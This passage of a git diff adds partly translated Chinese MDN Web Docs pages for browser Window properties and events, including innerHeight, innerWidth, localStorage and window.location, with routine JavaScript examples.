Fired at the global scope object when the user's preferred language changes.
+ Also available via the onlanguagechange 属性。
+
orientationchange
+
Fired when the orientation of the device has changed.
+ Also available via the onorientationchange 属性。
+
devicemotion
+
Fired at a regular interval, indicating the amount of physical force of acceleration the device is receiving and the rate of rotation, if available.
+
deviceorientation
+
Fired when fresh data is available from the magnetometer orientation sensor about the current orientation of the device as compared to the Earth coordinate frame.
+
{{domxref("Document/defaultView/resize_event", "resize")}}
+
Fired when the window has been resized.
+ Also available via the onresize 属性。
+
{{domxref("Document/defaultView/storage_event", "storage")}}
+
Fired when a storage area (localStorage or sessionStorage) has been modified in the context of another document.
+ Also available via the onstorage 属性。
+
+ +

Animation events

+ +
+
animationcancel
+
Fired when an animation unexpectedly aborts.
+ Also available via the onanimationcancel 属性。
+
animationend
+
Fired when an animation has completed normally.
+ Also available via the onanimationend 属性。
+
animationiteration
+
Fired when an animation iteration has completed.
+ Also available via the onanimationiteration 属性。
+
animationstart
+
Fired when an animation starts.
+ Also available via the onanimationstart 属性。
+
+ +

Clipboard events

+ +
+
clipboardchange
+
Fired when the system clipboard content changes.
+
copy
+
Fired when the user initiates a copy action through the browser's user interface.
+ Also available via the oncopy 属性。
+
cut
+
Fired when the user initiates a cut action through the browser's user interface.
+ Also available via the oncut 属性。
+
paste
+
Fired when the user initiates a paste action through the browser's user interface.
+ Also available via the onpaste 属性。
+
+ +

Connection events

+ +
+
offline
+
Fired when the browser has lost access to the network and the value of navigator.onLine has switched to false.
+ Also available via the {{domxref("WindowEventHandlers.onoffline", "onoffline")}} 属性。
+
online
+
Fired when the browser has gained access to the network and the value of navigator.onLine has switched to true.
+ Also available via the {{domxref("WindowEventHandlers.ononline", "ononline")}} 属性。
+
+ +

Focus events

+ +
+
blur
+
Fired when an element has lost focus.
+ Also available via the onblur 属性。
+
focus
+
Fired when an element has gained focus.
+ Also available via the onfocus property
+
+ +

Gamepad events

+ +
+
gamepadconnected
+
Fired when the browser detects that a gamepad has been connected or the first time a button/axis of the gamepad is used.
+ Also available via the ongamepadconnected 属性。
+
gamepaddisconnected
+
Fired when the browser detects that a gamepad has been disconnected.
+ Also available via the ongamepaddisconnected property
+
+ +

History events

+ +
+
hashchange
+
Fired when the fragment identifier of the URL has changed (the part of the URL beginning with and following the # symbol).
+ Also available via the onhashchange 属性。
+
pagehide
+
Sent when the browser hides the current document while in the process of switching to displaying in its palce a different document from the session's history. This happens, for example, when the user clicks the Back button or when they click the Forward button to move ahead in session history.
+ Also available through the onpagehide event handler 属性。
+
pageshow
+
Sent when the browser makes the document visible due to navigation tasks, including not only when the page is first loaded, but also situations such as the user navigating back to the page after having navigated to another within the same tab.
+ Also available using the onpageshow event handler 属性。
+
{{domxref("Document/defaultView/popstate_event", "popstate")}}
+
Fired when the active history entry changes.
+ Also available using the onpopstate event handler 属性。
+
+ +

Load & unload events

+ +
+
beforeunload
+
Fired when the window, the document and its resources are about to be unloaded.
+ Also available via the onbeforeunload 属性。
+
DOMContentLoaded
+
Fired when the document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.
+
load
+
Fired when the whole page has loaded, including all dependent resources such as stylesheets images.
+ Also available via the onload 属性。
+
unload
+
Fired when the document or a child resource is being unloaded.
+ Also available via the onunload 属性。
+
+ +

Manifest events

+ +
+
appinstalled
+
Fired when the browser has successfully installed a page as an application.
+ Also available via the onappinstalled 属性。
+
beforeinstallprompt
+
Fired when a user is about to be prompted to install a web application.
+ Also available via the onbeforeinstallprompt 属性。
+
+ +

Messaging events

+ +
+
message
+
Fired when the window receives a message, for example from a call to Window.postMessage() from another browsing context.
+ Also available via the onmessage 属性。
+
messageerror
+
Fired when a Window object receives a message that can't be deserialized.
+ Also available via the onmessageerror 属性。
+
+ + + +
+
afterprint
+
Fired after the associated document has started printing or the print preview has been closed.
+ Also available via the onafterprint 属性。
+
beforeprint
+
Fired when the associated document is about to be printed or previewed for printing.
+ Also available via the onbeforeprint 属性。
+
+ +

Promise rejection events

+ +
+
rejectionhandled
+
Sent every time a JavaScript {{jsxref("Promise")}} is rejected, regardless of whether or not there is a handler in place to catch the rejection.
+ Also available through the onrejectionhandled event handler 属性。
+
unhandledrejection
+
Sent when a JavaScript {{jsxref("Promise")}} is rejected but there is no handler in place to catch the rejection.
+ Also available using the onunhandledrejection event handler 属性。
+
+ +

Transition events

+ +
+
transitioncancel
+
Fired when a CSS transition is canceled.
+ Also available via the ontransitioncancel 属性。
+
transitionend
+
Fired when a CSS transition has completed.
+ Also available via the ontransitionend 属性。
+
transitionrun
+
Fired when a CSS transition is first created.
+ Also available via the ontransitionrun 属性。
+
transitionstart
+
Fired when a CSS transition has actually started.
+ Also available via the ontransitionstart 属性。
+
+ +

WebVR events

+ +
+
vrdisplayactivate
+
Fired when a VR display becomes available to be presented to, for example if an HMD has been moved to bring it out of standby, or woken up by being put on.
+ Also available via the onvrdisplayactivate 属性。
+
vrdisplayblur
+
Fired when presentation to a VR display has been paused for some reason by the browser, OS, or VR hardware.
+ Also available via the onvrdisplayblur 属性。
+
vrdisplayconnect
+
Fired when a compatible VR display is connected to the computer.
+ Also available via the onvrdisplayconnect 属性。
+
vrdisplaydeactivate
+
Fired when a VR display can no longer be presented to, for example if an HMD has gone into standby or sleep mode due to a period of inactivity.
+ Also available via the onvrdisplaydeactivate 属性。
+
vrdisplaydisconnect
+
Fired when a compatible VR display is disconnected from the computer.
+ Also available via the onvrdisplaydisconnect 属性。
+
vrdisplayfocus
+
Fired when presentation to a VR display has resumed after being blurred.
+ Also available via the onvrdisplayfocus 属性。
+
vrdisplaypresentchange
+
fired when the presenting state of a VR display changes — i.e. goes from presenting to not presenting, or vice versa.
+ Also available via the onvrdisplaypresentchange 属性。
+
vrdisplaypointerrestricted
+
Fired when the VR display's pointer input is restricted to consumption via a pointerlocked element.
+ Also available via the onvrdisplaypointerrestricted 属性。
+
vrdisplaypointerunrestricted
+
Fired when the VR display's pointer input is no longer restricted to consumption via a pointerlocked element.
+ Also available via the onvrdisplaypointerunrestricted 属性。
+
+ +

接口

+ +

See DOM Reference

+ +

浏览器兼容性

+ + + +

{{Compat("api.Window")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/window/innerheight/index.html b/files/zh-cn/web/api/window/innerheight/index.html new file mode 100644 index 0000000000..d177fd0cd7 --- /dev/null +++ b/files/zh-cn/web/api/window/innerheight/index.html @@ -0,0 +1,122 @@ +--- +title: Window.innerHeight +slug: Web/API/Window/innerHeight +translation_of: Web/API/Window/innerHeight +--- +
{{APIRef}}
+ +

概述

+ +

浏览器窗口的视口(viewport)高度(以像素为单位);如果有水平滚动条,也包括滚动条高度。

+ +
Note: If you use {{ifmethod("nsIDOMWindowUtils", "setCSSViewport")}} to set the virtual window size for page layout purposes, the value returned by this property corresponds to the viewport height set using that method.
+ +

语法

+ +
var intViewportHeight = window.innerHeight;
+ +

+ +

intViewportHeight 为浏览器窗口的视口的高度。

+ +

window.innerHeight 属性为只读,且没有默认值。

+ +

备注

+ +

任何窗口对象,如 {{domxref("window")}}、frame、frameset 或 secondary window 都支持 innerHeight 属性。

+ +

有一个算法用来获取不包括水平滚动条的视口高度。

+ +

例子

+ +

假设有一个 frameset

+ +
var intFrameHeight = window.innerHeight; // or
+
+var intFrameHeight = self.innerHeight;
+// 返回frameset里面的frame视口的高度
+
+var intFramesetHeight = parent.innerHeight;
+// 返回上一级frameset的视口的高度
+
+var intOuterFramesetHeight = top.innerHeight;
+// 返回最外部frameset的视口的高度
+
+ +

{{todo("link to an interactive demo here")}}

+ +

改变一个窗口的大小,可以查看 {{domxref("window.resizeBy()")}} 和 {{domxref("window.resizeTo()")}}。

+ +

想获取窗口的外层高度(outer height),即整个浏览器窗口的高度,请查看 {{domxref("window.outerHeight")}}。

+ +

图像示例

+ +

下面的示意图展示了 outerHeight 和 innerHeight 两者的区别。

+ +

innerHeight vs outerHeight illustration

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1{{CompatGeckoDesktop(1.0)}}993
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1{{CompatGeckoMobile(1.0)}}993
+
+ +

Gecko 备注

+ +

从 Firefox 4 到 Firefox 24,该属性有 bug,而且某种情况下,会在页面加载前给出一个错误的值,查看 {{bug(641188)}}。

+ +

标准相关信息

+ +

DOM Level 0。不属于任何 W3C 技术规范或推荐。

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/innerwidth/index.html b/files/zh-cn/web/api/window/innerwidth/index.html new file mode 100644 index 0000000000..fad1ee4c70 --- /dev/null +++ b/files/zh-cn/web/api/window/innerwidth/index.html @@ -0,0 +1,78 @@ +--- +title: Window.innerWidth +slug: Web/API/Window/innerWidth +tags: + - API + - CSSOM View + - HTML DOM + - innerWidth +translation_of: Web/API/Window/innerWidth +--- +
{{APIRef}}
+ +

只读的 {{domxref("Window")}} 属性 innerWidth 返回以像素为单位的窗口的内部宽度。如果垂直滚动条存在,则这个属性将包括它的宽度。

+ +

更确切地说,innerWidth 返回窗口的 {{Glossary("layout viewport")}} 的宽度。 窗口的内部高度——布局视口的高度——可以从 {{domxref("Window.innerHeight", "innerHeight")}} 属性中获取到。

+ +

语法

+ +
let intViewportWidth = window.innerWidth;
+ +

+ +

一个整数型的值表示窗口的布局视口宽度是以像素为单位的。这个属性是只读的,并且没有默认值。

+ +

若要更改窗口的宽度,请使用 {{domxref("Window")}} 的方法来调整窗口的大小,例如{{domxref("Window.resizeBy", "resizeBy()")}} 或者 {{domxref("Window.resizeTo", "resizeTo()")}}。

+ +

使用说明

+ +

如果你需要获取除去滚动条和边框的窗口宽度,请使用根元素 {{HTMLElement("html")}}  的{{domxref("Element.clientWidth", "clientWidth")}} 属性。

+ +

innerWidth 属性在任何表现类似于窗口的任何窗口或对象(例如框架或选项卡)上都是可用的。

+ +

示例

+ +
// 返回视口的宽度
+var intFrameWidth = window.innerWidth;
+
+// 返回一个框架集内的框架的视口宽度
+var intFrameWidth = self.innerWidth;
+
+// 返回最近的父级框架集的视口宽度
+var intFramesetWidth = parent.innerWidth;
+
+// 返回最外层框架集的视口宽度
+var intOuterFramesetWidth = top.innerWidth;
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('CSSOM View', '#dom-window-innerwidth', 'window.innerWidth')}}{{Spec2('CSSOM View')}}初识定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.innerWidth")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/window/issecurecontext/index.html b/files/zh-cn/web/api/window/issecurecontext/index.html new file mode 100644 index 0000000000..63f29098c9 --- /dev/null +++ b/files/zh-cn/web/api/window/issecurecontext/index.html @@ -0,0 +1,120 @@ +--- +title: Window.isSecureContext +slug: Web/API/Window/isSecureContext +translation_of: Web/API/Window/isSecureContext +--- +

{{APIRef}}{{SeeCompatTable}}

+ +

window.isSecureContext是一个判断上下文是否能够使用安全上下文的特征的只读属性

+ +

语法

+ +
var isSecure = window.isSecureContext
+ +

示例

+ +

特征检测

+ +

你可以使用特征检测来判断上下文是否处于安全的上下文之中通过使用在全局作用域下公共的isSecureContext返回的布尔值。

+ +
if (window.isSecureContext) {
+  // 页面是是个安全的上下文,服务可以正常使用。
+  navigator.serviceWorker.register("/offline-worker.js").then(function () {
+    ...
+  });
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Secure Contexts')}}{{Spec2('Secure Contexts','#monkey-patching-global-object','isSecureContext')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(49)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Considers window.opener{{CompatNo}}{{CompatGeckoDesktop(49)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile(49)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
Considers window.opener{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile(49)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/languagechange_event/index.html b/files/zh-cn/web/api/window/languagechange_event/index.html new file mode 100644 index 0000000000..953a16707d --- /dev/null +++ b/files/zh-cn/web/api/window/languagechange_event/index.html @@ -0,0 +1,123 @@ +--- +title: languagechange +slug: Web/API/Window/languagechange_event +translation_of: Web/API/Window/languagechange_event +--- +

{{SeeCompatTable}}

+ +

当用户首选语言更改时,将在全局范围对象上触发languagechange事件。

+ +

General info

+ +
+
Specification
+
{{ SpecName('HTML WHATWG', 'indices.html#event-languagechange') }}
+
Interface
+
{{domxref("Event")}}
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
The default window scope, being {{domxref("Window")}} on Web pages and {{domxref("WorkerGlobalScope")}} in Web Workers.
+
Default Action
+
None
+
+ +

Properties

+ +

Being of type {{domxref("Event")}}, this event implements the properties of this interface.

+ +
+
{{domxref("Event.target")}} {{ReadonlyInline}}
+
Returns an {{domxref("EventTarget")}} that is the topmost target in the DOM tree of the event.
+
{{domxref("Event.type")}} {{ReadonlyInline}}
+
Returns a {{domxref("DOMString")}} representing the type of event, here "languagechange".
+
{{domxref("Event.bubbles")}}{{ReadonlyInline}}
+
Returns a {{domxref("Boolean")}} indicating if the event normally bubbles or not.
+
{{domxref("Event.cancelable")}}{{ReadonlyInline}}
+
Returns a {{domxref("Boolean")}} indicating if it is possible to cancel the event.
+
+ +

Specification

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML WHATWG', 'indices.html#event-languagechange', 'languagechange') }}{{ Spec2('HTML WHATWG') }}Initial definition
{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}{{ Spec2('HTML5.1') }}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support37{{ CompatGeckoDesktop("32") }} [1]{{ CompatNo() }}24{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatGeckoMobile("32") }}[1]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

[1]In Firefox, the navigator.languages property's value is taken from the intl.accept_languages preference.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/window/length/index.html b/files/zh-cn/web/api/window/length/index.html new file mode 100644 index 0000000000..b5e37e034a --- /dev/null +++ b/files/zh-cn/web/api/window/length/index.html @@ -0,0 +1,21 @@ +--- +title: window.length +slug: Web/API/Window/length +translation_of: Web/API/Window/length +--- +
+ {{ApiRef}}
+

概述

+

返回当前窗口中包含的框架数量(框架包括frameiframe两种元素).

+

语法

+
framesCount = window.length;
+
+ +

示例

+
if (window.length) {
+  // 该窗口包含至少一个子框架
+}
+

规范

+

{{DOM0}}

diff --git a/files/zh-cn/web/api/window/localstorage/index.html b/files/zh-cn/web/api/window/localstorage/index.html new file mode 100644 index 0000000000..0145b13bc7 --- /dev/null +++ b/files/zh-cn/web/api/window/localstorage/index.html @@ -0,0 +1,93 @@ +--- +title: Window.localStorage +slug: Web/API/Window/localStorage +tags: + - API + - Storage + - Window + - localStorage + - 只读属性 +translation_of: Web/API/Window/localStorage +--- +

{{APIRef()}}

+ +

只读的localStorage 属性允许你访问一个{{domxref("Document")}} 源(origin)的对象 {{domxref("Storage")}};存储的数据将保存在浏览器会话中localStorage 类似 {{DOMxRef("Window.sessionStorage", "sessionStorage")}},但其区别在于:存储在 localStorage 的数据可以长期保留;而当页面会话结束——也就是说,当页面被关闭时,存储在 sessionStorage 的数据会被清除 。

+ +

应注意,无论数据存储在 localStorage 还是 sessionStorage它们都特定于页面的协议。

+ +

另外,localStorage 中的键值对总是以字符串的形式存储。 (需要注意, 和js对象相比, 键值对总是以字符串的形式存储意味着数值类型会自动转化为字符串类型).

+ +

语法

+ +
myStorage = localStorage;
+ +

+ +

一个可被用于访问当前源( origin )的本地存储空间的 {{domxref("Storage")}} 对象。

+ +

异常

+ +
+
SecurityError
+
请求违反了一个策略声明,或者源( origin )不是 一个有效的 scheme/host/port tuple (例如如果origin使用 file: 或者 data: 形式将可能发生)。比如,用户可以有禁用允许对指定的origin存留数据的浏览器配置。
+
+ +

示例

+ +

下面的代码片段访问了当前域名下的本地 {{domxref("Storage")}} 对象,并通过 {{domxref("Storage.setItem()")}} 增加了一个数据项目。

+ +
localStorage.setItem('myCat', 'Tom');
+
+ +

该语法用于读取 localStorage 项,如下:

+ +
let cat = localStorage.getItem('myCat');
+
+ +

该语法用于移除 localStorage 项,如下:

+ +
localStorage.removeItem('myCat');
+
+ +

该语法用于移除所有的 localStorage 项,如下:

+ +
// 移除所有
+localStorage.clear();
+
+ +
+

注意: 请参考 Using the Web Storage API 的完整示例文章。

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webstorage.html#dom-localstorage', 'localStorage')}}{{Spec2('Web Storage')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.localStorage")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/window/location/index.html b/files/zh-cn/web/api/window/location/index.html new file mode 100644 index 0000000000..b199786ac8 --- /dev/null +++ b/files/zh-cn/web/api/window/location/index.html @@ -0,0 +1,305 @@ +--- +title: window.location +slug: Web/API/Window/location +tags: + - API + - HTML + - Property + - Reference + - Window + - 'window.location : 所有字母必须小写!' +translation_of: Web/API/Window/location +--- +

{{ APIRef() }}

+ +

window.location 只读属性,返回一个 {{domxref("Location")}}  对象,其中包含有关文档当前位置的信息。

+ +
+

window.location : 所有字母必须小写!

+
+ +

尽管 window.location 是一个只读 Location 对象,你仍然可以赋给它一个 {{domxref("DOMString")}}。这意味着您可以在大多数情况下处理 location,就像它是一个字符串一样:window.location = 'http://www.example.com',是 window.location.href = 'http://www.example.com'的同义词 。

+ +

语法

+ +
let oldLocation = location;
+location = newLocation;
+
+ +

示例

+ +

简单例子

+ +
alert(location);
+// 弹出 "https://developer.mozilla.org/en-US/docs/Web/API/window.location"
+ +

例子#1:导航到一个新页面

+ +

只要赋给 location 对象一个新值,文档就会使用新的 URL 加载,就好像使用修改后的 URL 调用了  window.location.assign() 一样。需要注意的是,安全设置,如 CORS(跨域资源共享),可能会限制实际加载新页面。

+ +
window.location.assign("http://www.mozilla.org"); // or
+window.location = "http://www.mozilla.org";
+
+ +

例子#2:强制从服务器重新加载当前页面

+ +
window.location.reload(true);
+
+ +

例子#3

+ +

考虑下面的例子,该例使用 replace() 方法重新加载页面,并将 window.location.pathname 的值插入到 hash:

+ +
function reloadPageWithHash() {
+  var initialPage = window.location.pathname;
+  window.location.replace('http://example.com/#' + initialPage);
+}
+
+ +
Note: The example above works in situations where window.location.hash does not need to be retained. However, in Gecko-based browsers, setting window.location.pathname in this manner will erase any information in window.location.hash, whereas in WebKit (and possibly other browsers), setting the pathname will not alter the the hash. If you need to change pathname but keep the hash as is, use the replace() method instead, which should work consistently across browsers.
+ +

例子#4:弹出警告框,显示当前 URL 的属性:

+ +
function showLoc() {
+  var oLocation = window.location, aLog = ["Property (Typeof): Value", "window.location (" + (typeof oLocation) + "): " + oLocation ];
+  for (var sProp in oLocation){
+    aLog.push(sProp + " (" + (typeof oLocation[sProp]) + "): " +  (oLocation[sProp] || "n/a"));
+  }
+  alert(aLog.join("\n"));
+}
+
+// in html: <button onclick="showLoc();">Show location properties</button>
+
+ +

例子#5:通过修改 search 属性向服务器发送字符串数据:

+ +
function sendData (sData) {
+  window.location.search = sData;
+}
+
+// in html: <button onclick="sendData('Some data');">Send data</button>
+
+ +

当前 URL 带上 "?Some%20data",被发送到服务端(如果服务端不处理,则使用修改后的查询字符串 [search string] 重新加载当前文档)。

+ +

例子#6:获取一个 window.location.search 键值(key value):

+ +
function loadPageVar (sVar) {
+  return decodeURI(window.location.search.replace(new RegExp("^(?:.*[&\\?]" + encodeURI(sVar).replace(/[\.\+\*]/g, "\\$&") + "(?:\\=([^&]*))?)?.*$", "i"), "$1"));
+}
+
+alert(loadPageVar("name"));
+
+ +

例子#7:通过 window.location.search 字符串获取查询参数,存入对象 oGetVars 中:

+ +
var oGetVars = {};
+
+if (window.location.search.length > 1) {
+  for (var aItKey, nKeyId = 0, aCouples = window.location.search.substr(1).split("&"); nKeyId < aCouples.length; nKeyId++) {
+    aItKey = aCouples[nKeyId].split("=");
+    oGetVars[decodeURIComponent(aItKey[0])] = aItKey.length > 1 ? decodeURIComponent(aItKey[1]) : "";
+  }
+}
+
+// alert(oGetVars.yourVar);
+
+ +
 
+ +

同样可以通过一个匿名构造函数来获取,这样只声明了一个全局变量。

+ +
var oGetVars = new (function (sSearch) {
+  if (sSearch.length > 1) {
+    for (var aItKey, nKeyId = 0, aCouples = sSearch.substr(1).split("&"); nKeyId < aCouples.length; nKeyId++) {
+      aItKey = aCouples[nKeyId].split("=");
+      this[decodeURIComponent(aItKey[0])] = aItKey.length > 1 ? decodeURIComponent(aItKey[1]) : "";
+    }
+  }
+})(window.location.search);
+
+// alert(oGetVars.yourVar);
+
+ +

例子#8:通过 window.location.search 字符串获取查询参数,存入对象 oGetVars 中,并尝试识别参数类型typeof):

+ +
var oGetVars = {};
+
+function buildValue(sValue) {
+  if (/^\s*$/.test(sValue)) { return null; }
+  if (/^(true|false)$/i.test(sValue)) { return sValue.toLowerCase() === "true"; }
+  if (isFinite(sValue)) { return parseFloat(sValue); }
+  if (isFinite(Date.parse(sValue))) { return new Date(sValue); } // this conditional is unreliable in non-SpiderMonkey browsers
+  return sValue;
+}
+
+if (window.location.search.length > 1) {
+  for (var aItKey, nKeyId = 0, aCouples = window.location.search.substr(1).split("&"); nKeyId < aCouples.length; nKeyId++) {
+    aItKey = aCouples[nKeyId].split("=");
+    oGetVars[unescape(aItKey[0])] = aItKey.length > 1 ? buildValue(unescape(aItKey[1])) : null;
+  }
+}
+
+// alert(oGetVars.yourVar);
+
+ +

同样可以通过一个匿名构造函数来获取,这样只声明了一个全局变量。

+ +
var oGetVars = new (function (sSearch) {
+  var rNull = /^\s*$/, rBool = /^(true|false)$/i;
+  function buildValue(sValue) {
+    if (rNull.test(sValue)) { return null; }
+    if (rBool.test(sValue)) { return sValue.toLowerCase() === "true"; }
+    if (isFinite(sValue)) { return parseFloat(sValue); }
+    if (isFinite(Date.parse(sValue))) { return new Date(sValue); }
+    return sValue;
+  }
+  if (sSearch.length > 1) {
+    for (var aItKey, nKeyId = 0, aCouples = sSearch.substr(1).split("&"); nKeyId < aCouples.length; nKeyId++) {
+      aItKey = aCouples[nKeyId].split("=");
+      this[unescape(aItKey[0])] = aItKey.length > 1 ? buildValue(unescape(aItKey[1])) : null;
+    }
+  }
+})(window.location.search);
+
+// alert(oGetVars.yourVar);
+
+ +

例子#9:不改变 window.location.hash 属性情况下使用书签

+ +
<!doctype html>
+<html>
+<head>
+<meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+<title>MDN Example</title>
+<script type="text/javascript">
+function showNode (oNode) {
+  var nLeft = 0, nTop = 0;
+  for (var oItNode = oNode; oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);   window.scrollTo(nLeft, nTop); }
+
+function showBookmark (sBookmark, bUseHash) {
+  if (arguments.length === 1 || bUseHash) { window.location.hash = sBookmark; return; }
+  var oBookmark = document.querySelector(sBookmark);
+  if (oBookmark) { showNode(oBookmark); }
+}
+</script>
+<style type="text/css">
+span.intLink {
+    cursor: pointer;
+    color: #0000ff;
+    text-decoration: underline;
+}
+</style>
+</head>
+
+<body>
+<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p>
+<p>Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibendum quis. Cras adipiscing ultricies fermentum. Praesent bibendum condimentum feugiat.</p>
+<p id="myBookmark1">[&nbsp;<span class="intLink" onclick="showBookmark('#myBookmark2');">Go to bookmark #2</span>&nbsp;]</p>
+<p>Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt. Nulla vitae tempor nisl. Etiam congue, elit vitae egestas mollis, ipsum nisi malesuada turpis, a volutpat arcu arcu id risus.</p>
+<p>Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.</p>
+<p>Aenean viverra varius mauris, sed elementum lacus interdum non. Phasellus sit amet lectus vitae eros egestas pellentesque fermentum eget magna. Quisque mauris nisl, gravida vitae placerat et, condimentum id metus. Nulla eu est dictum dolor pulvinar volutpat. Pellentesque vitae sollicitudin nunc. Donec neque magna, lobortis id egestas nec, sodales quis lectus. Fusce cursus sollicitudin porta. Suspendisse ut tortor in mauris tincidunt rhoncus. Maecenas tincidunt fermentum facilisis. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.</p>
+<p>Suspendisse turpis nisl, consectetur in lacinia ut, ornare vel mi. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non lectus eu turpis vulputate cursus. Mauris interdum tincidunt erat id pharetra. Nullam in libero elit, sed consequat lectus. Morbi odio nisi, porta vitae molestie ut, gravida ut nunc. Ut non est dui, id ullamcorper orci. Praesent vel elementum felis. Maecenas ornare, dui quis auctor hendrerit, turpis sem ullamcorper odio, in auctor magna metus quis leo. Morbi at odio ante.</p>
+<p>Curabitur est ipsum, porta ac viverra faucibus, eleifend sed eros. In sit amet vehicula tortor. Vestibulum viverra pellentesque erat a elementum. Integer commodo ultricies lorem, eget tincidunt risus viverra et. In enim turpis, porttitor ac ornare et, suscipit sit amet nisl. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Pellentesque vel ultrices nibh. Sed commodo aliquam aliquam. Nulla euismod, odio ut eleifend mollis, nisi dui gravida nibh, vitae laoreet turpis purus id ipsum. Donec convallis, velit non scelerisque bibendum, diam nulla auctor nunc, vel dictum risus ipsum sit amet est. Praesent ut nibh sit amet nibh congue pulvinar. Suspendisse dictum porttitor tempor.</p>
+<p>Vestibulum dignissim erat vitae lectus auctor ac bibendum eros semper. Integer aliquet, leo non ornare faucibus, risus arcu tristique dolor, a aliquet massa mauris quis arcu. In porttitor, lectus ac semper egestas, ligula magna laoreet libero, eu commodo mauris odio id ante. In hac habitasse platea dictumst. In pretium erat diam, nec consequat eros. Praesent augue mi, consequat sed porttitor at, volutpat vitae eros. Sed pretium pharetra dapibus. Donec auctor interdum erat, lacinia molestie nibh commodo ut. Maecenas vestibulum vulputate felis, ut ullamcorper arcu faucibus in. Curabitur id arcu est. In semper mollis lorem at pellentesque. Sed lectus nisl, vestibulum id scelerisque eu, feugiat et tortor. Pellentesque porttitor facilisis ultricies.</p>
+<p id="myBookmark2">[&nbsp;<span class="intLink" onclick="showBookmark('#myBookmark1');">Go to bookmark #1</span> | <span class="intLink" onclick="showBookmark('#myBookmark1', false);">Go to bookmark #1 without using location.hash</span> | <span class="intLink" onclick="showBookmark('#myBookmark3');">Go to bookmark #3</span>&nbsp;]</p>
